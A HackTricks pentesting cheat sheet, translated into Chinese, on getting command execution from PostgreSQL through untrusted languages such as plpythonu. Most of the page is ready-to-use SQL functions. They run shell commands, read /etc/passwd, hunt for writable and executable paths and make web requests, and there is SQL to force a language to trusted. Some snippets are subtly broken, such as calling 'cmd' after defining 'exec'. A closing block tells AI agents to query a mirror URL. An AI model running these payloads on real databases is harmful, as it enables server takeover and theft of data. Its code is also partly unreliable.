# RCE with PostgreSQL Languages
从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！ * 您在**网络安全公司**工作吗？ 想要看到您的**公司在 HackTricks 中宣传**吗？ 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**。
## PostgreSQL 语言 您访问的 PostgreSQL 数据库可能安装了不同的**脚本语言**，您可以滥用这些语言来**执行任意代码**。 您可以**使它们运行**： ```sql \dL * SELECT lanname,lanpltrusted,lanacl FROM pg_language; ``` 大多数您可以在PostgreSQL中安装的脚本语言都有**2种类型**：**受信任**和**不受信任**。**不受信任**的语言名称**以"u"结尾**，这些版本允许您**执行代码**并使用其他有趣的功能。以下是一些安装后会很有趣的语言： * **plpythonu** * **plpython3u** * **plperlu** * **pljavaU** * **plrubyu** * ...（任何其他使用不安全版本的编程语言） {% hint style="warning" %} 如果您发现一个有趣的语言已经被PostgreSQL **安装**但被标记为**不受信任**（**`lanpltrusted`为`false`**），您可以尝试使用以下命令**信任**它，这样PostgreSQL就不会施加任何限制： ```sql UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; # To check your permissions over the table pg_language SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; ``` {% endhint %} {% hint style="danger" %} 如果您找不到一种语言，您可以尝试使用以下方式加载它（**您需要是超级管理员**）： ``` CREATE EXTENSION plpythonu; CREATE EXTENSION plpython3u; CREATE EXTENSION plperlu; CREATE EXTENSION pljavaU; CREATE EXTENSION plrubyu; ``` {% endhint %} 请注意，将安全版本编译为“不安全”是可能的。例如，可以查看[此链接](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此，即使只发现安装了**受信任**的版本，尝试执行代码也是值得的。 ## plpythonu/plpython3u ```sql CREATE OR REPLACE FUNCTION exec (cmd text) RETURNS VARCHAR(65535) stable AS $$ import os return os.popen(cmd).read() #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {}) $$ LANGUAGE 'plpythonu'; SELECT cmd("ls"); #RCE with popen or execve ``` ```sql CREATE OR REPLACE FUNCTION get_user (pkg text) RETURNS VARCHAR(65535) stable AS $$ import os return os.getlogin() $$ LANGUAGE 'plpythonu'; SELECT get_user(""); #Get user, para is useless ``` ```sql CREATE OR REPLACE FUNCTION lsdir (dir text) RETURNS VARCHAR(65535) stable AS $$ import json from os import walk files = next(walk(dir), (None, None, [])) return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535] $$ LANGUAGE 'plpythonu'; SELECT lsdir("/"); #List dir ``` ```sql CREATE OR REPLACE FUNCTION findw (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): writables = [] def find_writable(path): if not os.path.isdir(path): return if os.access(path, os.W_OK): writables.append(path) if not os.listdir(path): return else: for item in os.listdir(path): find_writable(os.path.join(path, item)) find_writable(path) return writables return ", ".join(my_find(dir)) $$ LANGUAGE 'plpythonu'; SELECT findw("/"); #Find Writable folders from a folder (recursively) ``` ```sql CREATE OR REPLACE FUNCTION find_file (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in os.path.basename(i): b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_file("psql"); #Find a file ``` ```sql CREATE OR REPLACE FUNCTION findx (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find(dir) b = [] for i in a: b.append(os.path.basename(i)) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT findx("/"); #Find an executables in folder (recursively) ``` ```sql CREATE OR REPLACE FUNCTION find_exe (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in i: b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_exe("psql"); #Find executable by susbstring ``` ```sql CREATE OR REPLACE FUNCTION read (path text) RETURNS VARCHAR(65535) stable AS $$ import base64 encoded_string= base64.b64encode(open(path).read()) return encoded_string.decode('utf-8') return open(path).read() $$ LANGUAGE 'plpythonu'; select read('/etc/passwd'); #Read a file in b64 ``` ```sql CREATE OR REPLACE FUNCTION get_perms (path text) RETURNS VARCHAR(65535) stable AS $$ import os status = os.stat(path) perms = oct(status.st_mode)[-3:] return str(perms) $$ LANGUAGE 'plpythonu'; select get_perms("/etc/passwd"); # Get perms of file ``` ```sql CREATE OR REPLACE FUNCTION req2 (url text) RETURNS VARCHAR(65535) stable AS $$ import urllib r = urllib.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req2('https://google.com'); #Request using python2 CREATE OR REPLACE FUNCTION req3 (url text) RETURNS VARCHAR(65535) stable AS $$ from urllib import request r = request.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req3('https://google.com'); #Request using python3 ``` ## pgSQL 检查以下页面： {% content-ref url="/pages/yAZibhmDPk2aAljuCAyf" %} [PL/pgSQL Password Bruteforce](/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ## C 检查以下页面： {% content-ref url="/pages/r2IRmWtkTMR3gKGs137x" %} [RCE with PostgreSQL Extensions](/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) {% endcontent-ref %}
从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)! * 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**吗？ 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.